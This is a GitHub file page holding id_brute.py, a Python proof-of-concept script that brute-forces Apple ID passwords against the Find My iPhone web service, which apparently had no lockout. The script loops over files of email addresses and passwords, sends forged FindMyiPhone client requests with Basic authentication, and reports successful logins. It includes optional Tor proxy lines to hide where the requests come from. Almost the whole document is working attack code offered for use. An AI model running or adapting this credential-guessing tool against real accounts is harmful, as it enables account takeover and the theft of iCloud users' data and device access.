forked from hackappcom/ibrute
-
Notifications
You must be signed in to change notification settings - Fork 0
/
id_brute.py
107 lines (82 loc) · 2.17 KB
/
id_brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding: utf-8 -*-
#
#hackapp.com
#@hackappcom p0c for FindMyIphone bug
#allows to bruteforce passwords without AppleID lock.
#Before you start, make sure it's not illegal in your country.
#Have a nice brute
import json
import urllib2
import plistlib
from xml.dom.minidom import *
from lxml import etree
import unicodedata
import re
import xml.etree.ElementTree
import time
import random
import json
import cookielib
import urllib
import time
import socket
import base64
from time import strftime
import socks
import socket
#Uncomment to user t0r, or any other socks5 proxy
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
def TryPass(apple_id,password):
url = 'https://fmipmobile.icloud.com/fmipservice/device/'+apple_id+'/initClient'
headers = {
'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',
}
json = {
"clientContext": {
"appName": "FindMyiPhone",
"osVersion": "7.0.4",
"clientTimestamp": 429746389281,
"appVersion": "3.0",
#make it random!
"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",
"inactiveTime": 1,
"buildVersion": "376",
"productType": "iPhone6,1"
},
"serverContext": {}
}
req_plist=plistlib.writePlistToString(json)
req = urllib2.Request(url, req_plist, headers=headers)
base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '')
req.add_header("Authorization", "Basic %s" % base64string)
try:
resp = urllib2.urlopen(req)
except urllib2.HTTPError, err:
if err.code == 401:
return False
if err.code == 330:
return True
return 'bad'
file = open('passlist.txt','r')
passwords = file.read()
file.close()
file = open('mails.txt','r')
apple_ids = file.read()
file.close()
for apple_id in apple_ids.split('\n'):
if apple_id:
print 'Working with:',apple_id
for pwd in passwords.split('\n'):
if pwd:
#print pwd
password = pwd.split(' ')[1]
print 'Trying: ', apple_id,password
try:
result = TryPass(apple_id,password)
if result == True:
print 'Got It!: ', apple_id,password
if result == 'bad':
print 'We are blocked!: ',apple_id,password
except:
print 'Protocol failed ',pwd